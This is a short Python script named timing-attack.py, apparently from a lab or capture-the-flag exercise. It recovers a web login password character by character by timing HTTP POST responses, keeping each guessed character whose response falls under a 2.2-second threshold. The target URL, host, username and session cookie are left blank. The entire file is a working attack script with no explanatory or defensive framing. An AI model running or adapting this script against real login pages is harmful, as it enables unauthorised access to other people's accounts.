timing-attack.py

import time
import json
import string
import requests

url = ''

headers = {
    "Host": "",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "",
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "PHPSESSID="
}

# Choose printable types
# [1]: string.printable
# [2]: string.digits + string.ascii_lowercase
# [3]: string.digits + string.ascii_lowercase + string.ascii_uppercase
password = ""
while True:
    for character in string.digits + string.ascii_lowercase:
        payload = {
            "username": "",
            "password": (password + character)
        }
        timestamp = requests.post(url, data=payload, headers=headers).elapsed.total_seconds()
        time.sleep(0.05)
        
        if timestamp < 2.2:
            print("[!] password: %s | elapsed: %s" % (password + character, timestamp))
            password += character
            break
        else:
            print("[*] password: %s | elapsed: %s" % (password + character, timestamp))